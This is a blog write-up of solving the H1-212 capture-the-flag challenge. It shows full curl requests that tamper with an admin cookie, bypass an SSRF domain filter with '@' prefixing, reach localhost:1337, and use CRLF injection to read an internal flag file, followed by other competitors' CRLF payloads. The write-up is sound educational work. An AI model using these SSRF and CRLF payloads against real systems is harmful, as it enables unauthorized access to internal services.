“Operation FGTNY 🗽 - Solving the H1-212 CTF.”

Nov 19, 2017

Preliminary

Enter exhibit one: An experienced engineer working for one of the biggest corporations in the world.

This engineer had set up a server and claimed that nobody could hack their way into it.

Enter exhibit two: An inexperienced kid celebrating their birthday, me (EdOverflow).

Queue dramatic music.

Step 1 - The Classic Jobert Challenge

Going into this CTF I knew that Jobert would use the same little trick again as in his previous CTF. Always read the challenge description very carefully and look for keywords. “acme.org”, “Apache” and “admin panel” stood out for me immediately. During my reconnaissance process which did not require any brute forcing as HackerOne had made very clear, I used Jobert Abma’s virtual host discovery tool. This is when I discovered that the admin panel was located at the admin.acme.org virtual host. In order to access the panel, we were required to set the admin.acme.org address to the given IP 104.236.20.43 in our /etc/hosts file.

$ cat h1-212 
apache.%s
admin.%s
engineer.%s
hackerone.%s
$ ruby scan.rb --ip=104.236.20.43 --host=acme.org --wordlist=h1-212 
...
Found: admin.acme.org (200)
  date:
    Sun, 19 Nov 2017 12:00:05 GMT
  server:
    Apache/2.4.18 (Ubuntu)
  set-cookie:
    admin=no # 😱
  content-type:
    text/html; charset=UTF-8
...
$ sudo sh -c "echo '104.236.20.43 admin.acme.org' >> /etc/hosts"

image

I noticed from other participants’ comments that they were struggling with this first step. The issue appeared to be that they were overly focused on the “Apache” aspect of the page. This is also the reason why HackerOne had to remind people not to brute force their way into the next step. The challenge really had nothing to do with directory bruteforcing. ¯\_(ツ)_/¯

Step 2 - Teapot 🍵

Next I ran dirsearch with a lightweight wordlist against admin.acme.org. The tool discovered an index.php file and a login path underneath (index.php/login). Immededly one thing stood out to me, the admin cookie was set to no. When modifying that value to yes and changing the request method to POST, a 406 Not Acceptable status code was returned.

Due to legal reasons, I shall not list my technique for figuring out what that status code means, but let’s just say I used a highly advanced Google Dork (site:hackerone.com 406 Not Acceptable) in order to find this report, which indicated that the request had to be in JSON (Content-Type: application/json). You didn’t hear me say any of that.

So there I was, after using highly-advanced techniques, I was left with a newly modified request that enabled me to send requests to the server.

$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'

Maybe it makes sense to the reader now why Ben was teasing us.

Step 3 - Server-Side Request Forgery

Submitting the POST request from the previous section returned a domain missing error, which indicated that the request body had to contain some JSON with a domain attribute and value ({"domain":"hackerone.com"}).

image

This means that the current issue we are trying to exploit is Server-Side Request Forgery (SSRF); our goal is to retrieve internal files and the flag is probably located on the internal network.

Step 4 - Part 1 - Initial Ideas 💡

The errors that I was receiving when specifying a hostname in {"domain":""} indicated that in order to achieve my goal of accessing internal files, I would need to somehow bypass a filter. My initial idea was to set up a domain ending in .com, due to the {"error":{"domain":"incorrect value, .com domain expected"}} error message, and map it to a loopback address.

Intermission - Bedtime 🛏

It was already getting late at this stage and I decided to go get some sleep in order to prepare for the next 4 steps. Lying in bed I could not keep the CTF challenges out of my mind. Jobert’s laugh echoed in the background as every step I took looped before my eyes.

Step 4 - Part 2 - The Bypass

After getting some rest, I woke up the next morning excited to get right back on track. This time the main focus was Orange Tsai’s research. “There has to be some way to bypass the filter with an @ character.”, I thought to myself. The reason why it took me so long to bypass the filter was because I was appending the destination rather than prefixing it (e.g., [email protected]). Since the suffix did not end with a .com the “.com domain expected” error was returned. #, ?, and & characters were all blacklisted. Therefore there had to be a way of bypassing the blacklist and include a .com in the suffix. As I hinted towards above, the trick was to prefix the destination as follows: [email protected]. By sending a request containing this payload the server would respond with a read.php identifier which contained base64-encoded data of the content from the page being retrieved.

$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0' --data-binary $'{\"domain\":\"[email protected]\"}'

{"next":"\/read.php?id=1"}

$ curl 'http://admin.acme.org/read.php?id=1' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'

{"data":""} # Blank, because the file being requested is empty.

Step 5 - Port Scanning

This step required two little bash scripts, one to request each individual port and another to retrieve the ID's contents. Port 1337 returned an unusual 404 response and as the number indicates, Jobert was having a laugh.

Forget the port scanning bit. I totally guessed the port was 1337 and moved on to the next step.

$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0' --data-binary $'{\"domain\":\"localhost:[email protected]\"}'

{"next":"\/read.php?id=2"}

$ curl 'http://admin.acme.org/read.php?id=2' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'

{"data":"SG1tLCB3aGVyZSB3b3VsZCBpdCBiZT8K"}

$ echo 'SG1tLCB3aGVyZSB3b3VsZCBpdCBiZT8K' | base64 --decode

Hmm, where would it be?

Please note that I only required two IDs for this and the image below is photoshopped.

image

Step 6 - Massive Frustration and CRLF

What do CRLF and frustration have in common? I did not know either until I witnessed this final step. In order, to request the flag one had to exploit a CRLF issue that would force the server to ignore everything after the valid filename. As we will see in a bit this came to me as quite a surprise.

I had a feeling that the flag would be located at /flag, because earlier I had come across this little gem while playing around with the IP.

image

This part took me far longer than I would like to admit. The amount frustration had me staring at my screen like this:

At first I thought playing around with different encodings of # would help make everything after /flag useless; i.e., the request would retrieve /flag and not /[email protected]. Boy was I wrong! I threw every single possible encoding that I could come up with at that server. All of this manually. After every failed request that was made, I could see Jobert in my mind chuckling away with the logs pulled up on his monitor.

That image was just stuck in my head. “What has Jobert done here to make things as difficult as possible for me?”, I was asking myself. Time and time again I failed. That was until yappare, who had already solved the CTF by then, gave me a subtle hint that put me right back on track. “CR”, they said. “CR?”, I thought to myself, “What is CR?”.

image

Disc scratch ... CRLF!

image

So now I needed to play around with CR and LF characters and see how the server responds. This did still require a little bit of trial and error (understatement of the year), but in the end, I had a cURL request that would return a valid read.php ID and requested the flag filename.

$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0' --data-binary $'{\"domain\":\"localhost:1337/flag\\n\\r\\n\\r212.hackerone.com\"}'

Now I will throw in some fancy LaTeX formulas to explain the very final step and to look I understand maths.

Basically, for those of you who do not understand maths, what I am trying to say is that for every valid CRLF returned ID (i), we must deduct 2 to be able to retrieve the base64-encoded flag (f). For instance, if we get read.php?=34 we must send a GET request to read.php?=32. This behaviour was very unusual and would only take place when you supplied the server with a valid CRLF bypass. I assume this was another of Jobert's the engineer’s clever little tricks to put the hacker off.

$ curl 'http://admin.acme.org/read.php?id=32' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'

{"data":"RkxBRzogQ0YsMmRzVlwvXWZSQVlRLlRERXBgdyJNKCVtVTtwOSs5RkR7WjQ4WCpKdHR7JXZTKCRnN1xTKTpmJT1QW1lAbmthPTx0cWhuRjxhcT1LNTpCQ0BTYip7WyV6IitAeVBiL25mRm5hPGUkaHZ7cDhyMlt2TU1GNTJ5OnovRGg7ezYK"}

$ echo 'RkxBRzogQ0YsMmRzVlwvXWZSQVlRLlRERXBgdyJNKCVtVTtwOSs5RkR7WjQ4WCpKdHR7JXZTKCRnN1xTKTpmJT1QW1lAbmthPTx0cWhuRjxhcT1LNTpCQ0BTYip7WyV6IitAeVBiL25mRm5hPGUkaHZ7cDhyMlt2TU1GNTJ5OnovRGg7ezYK' | base64 --decode

FLAG: CF,2dsV\/]fRAYQ.TDEp`w"M(%mU;p9+9FD{Z48X*Jtt{%vS($g7\S):f%=P[[email protected]=<tqhnF<aq=K5:[email protected]*{[%z"[email protected]/nfFna<e$hv{p8r2[vMMF52y:z/Dh;{6

image

Comparing my solution to those of other competitors

After submitting the flag to HackerOne, I helped some fellow competitors get back on track and even offered to review their write-ups. The beauty in doing this is not only do you build friendships with fellow researchers, you get some insight into the areas that other people might have struggled with. Interestingly, the CRLF step could have been solved in various ways. To give the reader a better idea of these CRLF payloads I have put together this section containing the payloads that impressed me including my basic descriptions.

@TomNomNom
-----------
Payload: localhost:1337/flag\u000a212.something.com
Description: Tom demonstrated that it was possible to accomplish the same solution as I had arrived to by simply using the Unicode value. I had come across this while playing around with different encodings of # as mentioned in section 6.

@Alyssa_Herrera_ & @streaak
----------------------------
Payload: 212.\nlocalhost:80\n.com & 212\n127.0.0.1\n.com respectively.
Description: These particular CRLF payloads caught me by surprise. I had not thought of simply surrounding the vital part of the URL with line feed characters.

Conclusion - What did I learn?


References

[1] [Photograph by USA Network/NBCU]. (n.d.). Retrieved November 19, 2017, from http://www.usanetwork.com/mrrobot

[2] It’s Always Sunny In Philadelphia. (n.d.). FXX. Retrieved November 19, 2017.

[3] Pai, R. (2014, April 16). Reflected File Download attack allows attacker to ‘upload’ executables to hackerone.com domain. Retrieved November 19, 2017, from https://hackerone.com/reports/50658

[4] Be More Tea [Photograph]. (2017, November 19). Lipton/Disney.

[5] [Animated image by Disney]. (n.d.). Retrieved November 19, 2017.

[6] [Photograph]. (n.d.). HackerOne, Inc.

[7, 8, 9] [Animated image by Disney]. (n.d.). Retrieved November 19, 2017.

Support my work

If you enjoy reading my write-ups and would like to support my work, please take a moment to read up about the Froglife group and consider donating to help save frog lives.

🐸 Learn more